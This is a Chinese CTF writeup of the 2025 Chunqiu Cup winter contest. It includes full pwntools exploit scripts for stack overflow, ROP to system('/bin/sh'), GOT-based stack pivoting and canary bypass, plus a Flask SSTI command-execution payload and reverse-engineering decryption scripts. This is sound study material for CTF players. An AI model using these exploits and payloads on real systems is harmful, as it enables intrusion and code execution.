2026-02-06 01:46:54 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文档汇总了2025春秋杯冬季赛Writeup，涵盖PWN、Web、逆向及密码学。PWN题涉及栈溢出、栈迁移及Canary绕过等二进制利用；Web题为FlaskSSTI；逆向题含异或与魔改RC4。文档附带详细Exp代码，适合CTF选手学习实战技术。 综合评分： 92 文章分类： CTF,二进制安全,WEB安全,逆向分析

cover_image

2025 春秋杯冬季赛 wp

赛查查

2026年2月5日 11:12 北京

以下文章来源于viol1t安全实验室，作者starrysky cheny

viol1t安全实验室 .

We are a team full of dreams, we will never stop moving forward!

bypass

main 函数中输入格式不正确的时候会输出 puts 函数地址，泄露 libc 地址，输入长度为 4 内容为 \x00 的时候会进入 compare 函数

__int64 __fastcall&nbsp;main(int&nbsp;a1,&nbsp;char&nbsp;**a2,&nbsp;char&nbsp;**a3){&nbsp; ...&nbsp; *(_QWORD *)s = &puts;&nbsp; ((void&nbsp;(__fastcall *)(__int64 *,&nbsp;char&nbsp;**,&nbsp;char&nbsp;*))init_0)(&v6, a2, buf);&nbsp; fd = open(".BYPASS",&nbsp;0);&nbsp;&nbsp;if&nbsp;( fd >=&nbsp;0&nbsp;)&nbsp; {&nbsp; &nbsp;&nbsp;if&nbsp;( read(fd, buf,&nbsp;0x1000uLL) )&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; close(fd);&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( buf[strlen(buf) -&nbsp;1] ==&nbsp;'\n'&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; buf[strlen(buf) -&nbsp;1] =&nbsp;0;&nbsp; &nbsp; &nbsp; v8 = strchr(buf,&nbsp;':');&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( v8 )&nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( (unsigned __int64)(v8 - buf) <=&nbsp;0x3F&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( strlen(v8 +&nbsp;1) <=&nbsp;0x3F&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *v8 =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strcpy(dest, buf);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strcpy(byte_602140, v8 +&nbsp;1);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( read(0, &v7,&nbsp;4uLL) !=&nbsp;4&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( v7 )&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; compare();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( v7 ==&nbsp;1&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; puts("Invalid");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; puts(s);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...}

漏洞点在 compare 函数中，两次 read 都是向 buf 读取并且长度都是 0x200，第一次读取会复制到 KEY 中，第二次读取会复制到 VAL 中，而离 rbp 最近的 VAL 距离也超过 0x200，但是从 buf 复制的过程是遇 \x00 停止，所以可以从 buf 一直复制到 KEY，加起来就超过 0x200 了，但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index，要合理控制这个 i 让复制过程正确进行

int&nbsp;compare(){&nbsp; ssize_t v0;&nbsp;//&nbsp;rax&nbsp; char buf[512];&nbsp;//&nbsp;[rsp+0h] [rbp-610h] BYREF&nbsp; char KEY[512];&nbsp;//&nbsp;[rsp+200h] [rbp-410h] BYREF&nbsp; char VAL[526];&nbsp;//&nbsp;[rsp+400h] [rbp-210h] BYREF&nbsp; __int16 i;&nbsp;//&nbsp;[rsp+60Eh] [rbp-2h]
&nbsp; memset(VAL,&nbsp;0,&nbsp;0x200uLL);&nbsp; memset(KEY,&nbsp;0, sizeof(KEY));&nbsp; memset(buf,&nbsp;0, sizeof(buf));&nbsp; v0&nbsp;=&nbsp;read(0, buf,&nbsp;0x200uLL);&nbsp;&nbsp;if&nbsp;( v0&nbsp;>=&nbsp;0&nbsp;)&nbsp; {&nbsp; &nbsp; LODWORD(v0) = strncmp(buf,&nbsp;"KEY: ",&nbsp;5uLL);&nbsp; &nbsp;&nbsp;if&nbsp;( !(_DWORD)v0&nbsp;)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;( i =&nbsp;5; buf[i]; ++i )&nbsp; &nbsp; &nbsp; &nbsp; KEY[i -&nbsp;5] = buf[i];&nbsp; &nbsp; &nbsp; KEY[i -&nbsp;5] =&nbsp;0;&nbsp; &nbsp; &nbsp; memset(buf,&nbsp;0, sizeof(buf));&nbsp; &nbsp; &nbsp; v0&nbsp;=&nbsp;read(0, buf,&nbsp;0x200uLL);&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( v0&nbsp;>=&nbsp;0&nbsp;)&nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; LODWORD(v0) = strncmp(buf,&nbsp;"VAL: ",&nbsp;5uLL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !(_DWORD)v0&nbsp;)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;( i =&nbsp;5; buf[i]; ++i )&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; VAL[i -&nbsp;5] = buf[i];&nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; }&nbsp; }&nbsp;&nbsp;return&nbsp;v0;}

exp如下

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch='amd64', os='linux', log_level='debug')
file_name =&nbsp;'./pwn'
li =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')ll =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;1m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug =&nbsp;1if&nbsp;debug:&nbsp; &nbsp; r = remote('39.106.48.123',&nbsp;44314)else:&nbsp; &nbsp; r = process(file_name)
elf = ELF(file_name)
def&nbsp;dbg():&nbsp; &nbsp; gdb.attach(r)
def&nbsp;get_libc():&nbsp; &nbsp;&nbsp;return&nbsp;u64(r.recvuntil(b'\x7f')[-6:].ljust(8,&nbsp;b'\x00'))
r.send('abcd')
puts_addr = get_libc()libc = ELF('./libc/libc-2.27.so')libc_base = puts_addr - libc.sym['puts']
r.send('\x00\x00\x00\x00')p =&nbsp;b'KEY: '&nbsp;+&nbsp;b'c'&nbsp;*&nbsp;19&nbsp;+&nbsp;b'\x13\x02'&nbsp;+&nbsp;b'aaaaaaaa'&nbsp;+ p64(0x4f302&nbsp;+ libc_base)p = p.ljust(0x200,&nbsp;b'a')r.send(p)r.send(b'VAL: '&nbsp;+&nbsp;b'b'&nbsp;* (0x200&nbsp;-&nbsp;0x5))
r.interactive()

gender_simulation

菜单里就给了 libc 地址，这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流，有个后门是性别为购物袋，存在栈溢出漏洞，直接溢出写 rop 链执行 system(‘/bin/sh’)

ssize_t gender(void){&nbsp; __int64 v0;&nbsp;//&nbsp;rax&nbsp; _BYTE buf[16];&nbsp;//&nbsp;[rsp+0h] [rbp-10h]&nbsp;BYREF
&nbsp; v0 = std::operator<<<std::char_traits<char>>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&std::cout,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"If you think you are a shopping bag, please leave your gender certificate");&nbsp; std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);&nbsp;&nbsp;return&nbsp;read(0, buf, 0x100uLL);}

exp如下

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch='amd64', os='linux', log_level='debug')
file_name =&nbsp;'./pwn'
li =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')ll =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;1m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug =&nbsp;0if&nbsp;debug:&nbsp; &nbsp; r = remote('47.94.84.92',&nbsp;30857)else:&nbsp; &nbsp; r = process(file_name)
elf = ELF(file_name)
def&nbsp;dbg():&nbsp; &nbsp; gdb.attach(r)
def&nbsp;get_libc():&nbsp; &nbsp;&nbsp;return&nbsp;u64(r.recvuntil(b'\x7f')[-6:].ljust(8,&nbsp;b'\x00'))
r.recvuntil(b'0x')addr =&nbsp;int(r.recv(12),&nbsp;16)libc = ELF('./libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6')libc_base = addr - libc.sym['setvbuf']
r.sendline('2')r.sendline('2')
ret =&nbsp;0x000000000040201apop_rdi_ret =&nbsp;0x000000000010f75b&nbsp;+ libc_basesystem = libc_base + libc.sym['system']binsh = libc_base + libc.search(b'/bin/sh\x00').__next__()
r.sendlineafter(b'certificate', p64(0x4025E6))
p =&nbsp;b'a'&nbsp;*&nbsp;0x18&nbsp;+ p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)r.sendlineafter(b'certificate', p)
r.interactive()

Riya

输入 n 直接跳到 LABEL_10 送 shell

void&nbsp;__fastcall&nbsp;main(__int64 a1,&nbsp;char&nbsp;**a2,&nbsp;char&nbsp;**a3){&nbsp; ...&nbsp; puts("y/n");&nbsp; read(0, &v3,&nbsp;1uLL);&nbsp;&nbsp;if&nbsp;( v3 !=&nbsp;'Y'&nbsp;)&nbsp; {&nbsp; &nbsp;&nbsp;if&nbsp;( v3 <=&nbsp;'Y'&nbsp;)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; ...LABEL_10:&nbsp; &nbsp; &nbsp; setuid(0x3E8u);&nbsp; &nbsp; &nbsp; backdoor();&nbsp; &nbsp; &nbsp; exit(0);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;( v3 ==&nbsp;'n'&nbsp;)&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_10;&nbsp; &nbsp;&nbsp;if&nbsp;( v3 !=&nbsp;'y'&nbsp;)&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_11;&nbsp; }&nbsp; ...}

toys

这题只有一个栈溢出，高版本的libc还没什么 gadgets

__int64 __fastcall main(__int64 a1, char **a2, char **a3){&nbsp; char s[128];&nbsp;//&nbsp;[rsp+0h] [rbp-80h] BYREF
&nbsp; init();&nbsp; puts("There are no toys here!");&nbsp;&nbsp;printf("Data: ");&nbsp; fgets(s,&nbsp;0x1337, stdin);&nbsp;&nbsp;if&nbsp;( strlen(s) >&nbsp;0x80&nbsp;)&nbsp; {&nbsp; &nbsp; puts("Too many!");&nbsp; &nbsp;&nbsp;exit(-1);&nbsp; }&nbsp; puts("OK!");&nbsp;&nbsp;return&nbsp;0LL;}

思路：

由于缺少 pop_rdi_ret 等 gadgets，而且程序中的 puts 输出的都是 rodata 段的数据，而 strlen_len 的参数是 rbp – 0x80，所以需要改 strlen_got 为 puts_plt 去泄露在 rbp – 0x80提前布置好的 libc 地址
修改 strlen_got 的方法是利用 fgets 向 rbp – 0x80 的位置写，修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
直接把栈迁移到 got 表那块会覆盖到其他有用的地址，所以需要迁移到程序段高地址去写 rop 链，其中一次输入在 strlen_got + 0x80

exp分析：

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch='amd64', os='linux', log_level='debug')
file_name =&nbsp;'./pwn'
li =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')ll =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;1m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug =&nbsp;0if&nbsp;debug:&nbsp; &nbsp; r = remote('node4.buuoj.cn',&nbsp;26870)else:&nbsp; &nbsp; r = process(file_name)
elf = ELF(file_name)
def&nbsp;dbg():&nbsp; &nbsp; gdb.attach(r)
def&nbsp;get_libc():&nbsp; &nbsp;&nbsp;return&nbsp;u64(r.recvuntil(b'\x7f')[-6:].ljust(8,&nbsp;b'\x00'))
main =&nbsp;0x401274got_addr =&nbsp;0x404000leave_ret =&nbsp;0x00000000004012cdputs_plt = elf.plt['puts']strlen_got = elf.got['strlen']strlen =&nbsp;0x40128C
p =&nbsp;b'\x00'&nbsp;*&nbsp;0x80&nbsp;+ p64(got_addr +&nbsp;0x800) + p64(main)r.sendlineafter(b':', p)
p =&nbsp;b'\x00'&nbsp;*&nbsp;0x80&nbsp;+ p64(got_addr +&nbsp;0x100) + p64(main) + p64(strlen_got +&nbsp;0x80) + p64(main) + p64(strlen_got +&nbsp;0x98) + p64(strlen) + p64(strlen_got +&nbsp;0x700) + p64(main)r.sendlineafter(b'OK', p)
p = p64(0) + p64(got_addr +&nbsp;0x820) + p64(leave_ret) + p64(0) + p64(got_addr +&nbsp;0x830) + p64(leave_ret)p = p.ljust(0x80,&nbsp;b'\x00') + p64(got_addr +&nbsp;0x810) + p64(leave_ret)r.sendlineafter(b'OK', p)
r.sendlineafter(b'OK', p64(puts_plt))
libc_base = get_libc() -&nbsp;0x88540libc = ELF('./2.39/libc.so.6')
system = libc_base + libc.sym['system']binsh = libc_base + libc.search(b'/bin/sh').__next__()pop_rdi_ret = libc_base +&nbsp;0x000000000010f75b
p =&nbsp;b'\x00'&nbsp;*&nbsp;0x88&nbsp;+ p64(pop_rdi_ret) + p64(binsh) + p64(system)r.sendlineafter(b'OK', p)
r.interactive()

p = b’\x00′ * 0x80 + p64(got_addr + 0x800) + p64(main)

=> rbp = got + 0x800

p = b’\x00′ * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)

=> rbp = got + 0x100

got +&nbsp;0x800 :&nbsp;p64(got_addr +&nbsp;0x100)     p64(main)got +&nbsp;0x810 :&nbsp;p64(strlen_got +&nbsp;0x80)    p64(main)got +&nbsp;0x820 :&nbsp;p64(strlen_got +&nbsp;0x98)    p64(strlen)got +&nbsp;0x830 :&nbsp;p64(strlen_got +&nbsp;0x700)     p64(main)

p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)

p = p.ljust(0x80, b’\x00′) + p64(got_addr + 0x810) + p64(leave_ret)

=> rbp = got + 0x810

got +&nbsp;0x80 :&nbsp;p64(0)                     p64(got_addr +&nbsp;0x820)&nbsp;got +&nbsp;0x90 :&nbsp;p64(leave_ret)           p64(0)got +&nbsp;0xa0 :&nbsp;p64(got_addr +&nbsp;0x830)         p64(leave_ret)got +&nbsp;0x100 :&nbsp;p64(got_addr +&nbsp;0x810)     &nbsp; &nbsp; &nbsp; &nbsp;p64(leave_ret)

接下来的程序流：

leave_ret 迁移到 got_addr + 0x818，执行 main

rbp&nbsp;: got +&nbsp;0x100    =>  got +&nbsp;0x810    =>   strlen_got +&nbsp;0x80

两次 pop rbp 后 rbp 变成 strlen_got + 0x80

此时 fgets 就是向 rbp – 0x80 即 strlen_got 读，发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt

rbp&nbsp;: strlen_got +&nbsp;0x80 = got +&nbsp;0x88 => got_addr +&nbsp;0x820 => strlen_got +&nbsp;0x98 = got +&nbsp;0xa0ret : got +&nbsp;0x90 => leave_ret

leave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen，执行 main 中的 strlen，迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0

rbp&nbsp;: got +&nbsp;0xa0 => got_addr +&nbsp;0x830ret : got +&nbsp;0xa8 => leave_ret

所以 strlen 的一参是 rbp – 0x80 = got + 0x20 = setvbuf_got，而 strlen_got 已经被改成 puts_plt，相当于执行 puts 输出了 setvbuf_got，最后 ret 是 leave_ret

再次迁移到 rbp + 8 = got_addr + 0x838 = main，最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)

rogue_like

本题有三次选择：

第一次选择一个武器，有三个选择，case 1 设置 libc 中任意 64 位地址为 0，case 2 写 libc 中任意地址一个 byte，case 3 泄露 /proc/self/maps 中的地址；

第二次选择一个祝福，case 1 会崩溃，case 2 和 case 3 功能都是给任意地址加上 5 以内的值；

第三次选择一个挑战，case 1 溢出 0x10，case 2 输出 0x120 后输入 0xf0，无溢出，case 3 两次 read，一次刚好到 rbp，并且存在栈的 off-by-null

但是题目开了 canary，所以需要组合三次选择来绕过 canary 并且执行 rop

思路：第一次选 1，改 tls 中的 canary 为 0，第二次选 2，让 got 表中的 alarm + 5 得到 syscall，第三次选 3，程序中已经有 /bin/sh，再利用第二次 read 控制 rax 执行 syscall 即可

exp如下

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch='amd64', os='linux', log_level='debug')
file_name =&nbsp;'./pwn'
li =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')ll =&nbsp;lambda&nbsp;x :&nbsp;print('\x1b[01;38;5;1m'&nbsp;+&nbsp;str(x) +&nbsp;'\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug =&nbsp;0if&nbsp;debug:&nbsp; &nbsp; r = remote('node4.buuoj.cn',&nbsp;26870)else:&nbsp; &nbsp; r = process(file_name)
elf = ELF(file_name)
def&nbsp;dbg():&nbsp; &nbsp; gdb.attach(r)
def&nbsp;get_libc():&nbsp; &nbsp;&nbsp;return&nbsp;u64(r.recvuntil(b'\x7f')[-6:].ljust(8,&nbsp;b'\x00'))
pop_rdi_ret =&nbsp;0x00000000004013f4pop_rsi_ret =&nbsp;0x00000000004013f6pop_rdx_ret =&nbsp;0x00000000004013f8ret =&nbsp;0x00000000004007febinsh =&nbsp;0x00000000004019d7syscall = elf.plt['alarm']
r.sendafter(b'>',&nbsp;b'1')r.sendafter(b'!',&nbsp;str(0x2568))
r.sendafter(b'>',&nbsp;b'2')r.sendafter(b'increase.',&nbsp;b'5')r.sendafter(b'increase.',&nbsp;str(0x602058))
r.send(b'3')p =&nbsp;b'a'&nbsp;*&nbsp;0x7&nbsp;+ p64(ret) *&nbsp;24&nbsp;+ p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(0) *&nbsp;2r.send(p)p =&nbsp;b'a'&nbsp;*&nbsp;0x3&nbsp;+ p64(ret) *&nbsp;7r.send(p)
r.interactive()

easy_flask

直接用hackbar生成的ssti的exp改改：

{{g.pop.globals.builtins'import'.popen('cat flag').read()}}

简单算术

异或爆破，随波逐流穷举异或0-200在31找到flag：flag{x0r_Brute_is_easy!}

easy-asm

flag{dea54885-92b4-11ef-b153-3c0af33af908}

已知flag开头

当黑盒做直接猜出排序规律根据偶数位的大小排序两两一组

ida_chars1 = [&nbsp; &nbsp;&nbsp;0x22,&nbsp;0x10,&nbsp; &nbsp;&nbsp;0x22,&nbsp;0x15,&nbsp; &nbsp;&nbsp;0x66,&nbsp;0x16,
&nbsp; &nbsp;&nbsp;0x11,&nbsp;0x20,&nbsp; &nbsp;&nbsp;0x30,&nbsp;0x20,&nbsp; &nbsp;&nbsp;0x21,&nbsp;0x22,&nbsp; &nbsp;&nbsp;0x2C,&nbsp;0x22,&nbsp; &nbsp;&nbsp;0xCC,&nbsp;0x22,&nbsp; &nbsp;&nbsp;0xCC,&nbsp;0x2C,&nbsp; &nbsp;&nbsp;0x40,&nbsp;0x30,&nbsp; &nbsp;&nbsp;0x21,&nbsp;0x33,&nbsp; &nbsp;&nbsp;0x66,&nbsp;0x33,&nbsp; &nbsp;&nbsp;0x44,&nbsp;0x40,&nbsp; &nbsp;&nbsp;0x50,&nbsp;0x40,
&nbsp; &nbsp;&nbsp;0x55,&nbsp;0x41,&nbsp; &nbsp;&nbsp;0x88,&nbsp;0x42,&nbsp; &nbsp;&nbsp;0x33,&nbsp;0x60,&nbsp; &nbsp;&nbsp;0x99,&nbsp;0x88,&nbsp; &nbsp;&nbsp;0xC2,&nbsp;0xC2,&nbsp;&nbsp;0x22,&nbsp;0xCC,
&nbsp; &nbsp;&nbsp;0xFF,&nbsp;0xFF,]#&nbsp;0x22,0x10,0x22,0x15,0x66,0x16#9,10&nbsp;15&nbsp;16&nbsp;13&nbsp;14ida_chars2 = [&nbsp;&nbsp;0x44,&nbsp;0x7C,&nbsp;0x43,&nbsp;0x72,&nbsp;0x1D,&nbsp;0x72,&nbsp;0x74,&nbsp;0x41,&nbsp;0x05,&nbsp;0x14,&nbsp;&nbsp;0x19,&nbsp;0x1A,&nbsp;0x19,&nbsp;0x0F,&nbsp;0xF5,&nbsp;0x10,&nbsp;0xAE,&nbsp;0x18,&nbsp;0x6D,&nbsp;0x01,&nbsp;&nbsp;0x10,&nbsp;0x56,&nbsp;0x00,&nbsp;0x1E,&nbsp;0x26,&nbsp;0x71,&nbsp;0x65,&nbsp;0x73,&nbsp;0x78,&nbsp;0x72,&nbsp;&nbsp;0xEB,&nbsp;0x72,&nbsp;0x52,&nbsp;0x06,&nbsp;0xAA,&nbsp;0xBB,&nbsp;0xA3,&nbsp;0xA4,&nbsp;0x1B&nbsp;,&nbsp;0xFC,&nbsp;&nbsp;0xC7,&nbsp;0x82]
for&nbsp;i in&nbsp;range(len(ida_chars2)):&nbsp; &nbsp;&nbsp;print(chr(ida_chars1[i] ^ ida_chars2[i]),end="")&nbsp; &nbsp; flag{dea54885-92b4-11ef-b153-3c0af33af908}

ezre

硬件断点调试

ida_chars = [&nbsp; &nbsp;&nbsp;0x5C,&nbsp;0x76,&nbsp;0x4A,&nbsp;0x78,&nbsp;0x15,&nbsp;0x62,&nbsp;0x05,&nbsp;0x7C,&nbsp;0x6B,&nbsp;0x21,&nbsp; &nbsp;&nbsp;0x40,&nbsp;0x66,&nbsp;0x5B,&nbsp;0x1A,&nbsp;0x48,&nbsp;0x7A,&nbsp;0x1E,&nbsp;0x46,&nbsp;0x7F,&nbsp;0x28,&nbsp; &nbsp;&nbsp;0x02,&nbsp;0x75,&nbsp;0x68,&nbsp;0x2A,&nbsp;0x34,&nbsp;0x0C,&nbsp;0x4B,&nbsp;0x1D,&nbsp;0x3D,&nbsp;0x2E,&nbsp; &nbsp;&nbsp;0x6B,&nbsp;0x7A,&nbsp;0x17,&nbsp;0x45,&nbsp;0x07,&nbsp;0x75,&nbsp;0x47,&nbsp;0x27,&nbsp;0x39,&nbsp;0x78,&nbsp; &nbsp;&nbsp;0x61,&nbsp;0x0B]
xor_bytes = [&nbsp; &nbsp;&nbsp;0x3a,&nbsp;0x1a,&nbsp;0x2b,&nbsp;0x1f,&nbsp;0x6e,&nbsp;0x0,&nbsp;0x32,&nbsp;0x45,&nbsp;0x52,&nbsp;0x44,&nbsp; &nbsp;&nbsp;0x22,&nbsp;0x55,&nbsp;0x3a,&nbsp;0x37,&nbsp;0x7d,&nbsp;0x43,&nbsp;0x7b,&nbsp;0x23,&nbsp;0x52,&nbsp;0x1c,&nbsp; &nbsp;&nbsp;0x60,&nbsp;0x46,&nbsp;0x0a,&nbsp;0x07,&nbsp;0x56,&nbsp;0x38,&nbsp;0x72,&nbsp;0x79,&nbsp;0x10,&nbsp;0x1d,&nbsp; &nbsp;&nbsp;0x52,&nbsp;0x4a,&nbsp;0x2f,&nbsp;0x75,&nbsp;0x61,&nbsp;0x16,&nbsp;0x75,&nbsp;0x14,&nbsp;0x5c,&nbsp;0x41,&nbsp; &nbsp;&nbsp;0x58,&nbsp;0x76]
decrypted_chars = []for&nbsp;i&nbsp;in&nbsp;range(42):&nbsp; &nbsp; decrypted_char = xor_bytes[i] ^ ida_chars[i]&nbsp; &nbsp; decrypted_chars.append(chr(decrypted_char))
decrypted_text =&nbsp;''.join(decrypted_chars)print(decrypted_text)

ko0h

前面的东西全是fake seh跳到其他地方

简单魔改RC4+一个key改值

def rc4_init(s, key, Len):&nbsp; &nbsp; i =&nbsp;0&nbsp; &nbsp; j =&nbsp;0&nbsp; &nbsp; k = [0] *&nbsp;256&nbsp; &nbsp; tmp =&nbsp;0&nbsp; &nbsp; for i in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp; s[i] = i&nbsp; &nbsp; &nbsp; &nbsp; k[i] =&nbsp;ord(key[i % Len])&nbsp; &nbsp; for i in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i] + k[i]) %&nbsp;256&nbsp; &nbsp; &nbsp; &nbsp; s[i], s[j] = s[j], s[i]
def&nbsp;rc4_crypt(s, Data, Len):&nbsp; &nbsp; i =&nbsp;0&nbsp; &nbsp; j =&nbsp;0&nbsp; &nbsp; t =&nbsp;0&nbsp; &nbsp; k =&nbsp;0&nbsp; &nbsp; tmp =&nbsp;0&nbsp; &nbsp; for k in&nbsp;range(Len):&nbsp; &nbsp; &nbsp; &nbsp; i = (i +&nbsp;1) %&nbsp;256&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i]) %&nbsp;256&nbsp; &nbsp; &nbsp; &nbsp; tmp = s[i]&nbsp; &nbsp; &nbsp; &nbsp; s[i] = s[j]&nbsp; &nbsp; &nbsp; &nbsp; s[j] = tmp&nbsp; &nbsp; &nbsp; &nbsp; t = (s[i] + s[j]) %&nbsp;256&nbsp; &nbsp; &nbsp; &nbsp; Data[k] = (Data[k] + s[t]) %&nbsp;256&nbsp; # 魔改点
if __name__ ==&nbsp;"__main__":&nbsp; &nbsp; s = [0] *&nbsp;256&nbsp; &nbsp; s2 = [0] *&nbsp;256&nbsp; &nbsp; key =&nbsp;"DDDDAAAASSSS"&nbsp; &nbsp; pData = [0x18,&nbsp;0x9c,&nbsp;0x47,&nbsp;0x3d,&nbsp;0x3b,&nbsp;0xe1,&nbsp;0x29,&nbsp;0x27,&nbsp;0x9f,&nbsp;0x34,&nbsp;0x83,&nbsp;0xd5,&nbsp;0xed,&nbsp;0xb5,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ord('n'),&nbsp;ord('Y'),&nbsp;0x7f,&nbsp;0xde,&nbsp;0x47,&nbsp;0xd7,&nbsp;0x65,&nbsp;0x3f,&nbsp;0x7a,&nbsp;0x33,&nbsp;0x5b,&nbsp;0x64,&nbsp;0xb6,&nbsp;0xfa,&nbsp;0x94,&nbsp;0x55,&nbsp;0x87,&nbsp;0x42,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x20,&nbsp;6,&nbsp;0xc,&nbsp;0x69,&nbsp;0xfe,&nbsp;0x72,&nbsp;0xa9,&nbsp;0xe4,&nbsp;0xd1,&nbsp;0x7c]&nbsp; &nbsp;len_pData =&nbsp;len(pData)
&nbsp; &nbsp;&nbsp;rc4_init(s, key,&nbsp;len(key))
&nbsp; &nbsp; for i in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{s[i]:02X}", end=" ")&nbsp; &nbsp; &nbsp; &nbsp; if (i +&nbsp;1) %&nbsp;16&nbsp;==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;print("\\n")
&nbsp; &nbsp; for i in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp; s2[i] = s[i]&nbsp; &nbsp;&nbsp;rc4_crypt(s, pData, len_pData)&nbsp; &nbsp;&nbsp;print(f"{bytes(pData)}")&nbsp; &nbsp;&nbsp;rc4_crypt(s2, pData, len_pData)&nbsp; &nbsp;&nbsp;print(f"pData={bytes(pData)}")

你是小哈斯?

依次解sha1

http://www.ttmd5.com/hash.php?type=5，flag{game_cqb_isis_cxyz}

通往哈希的旅程

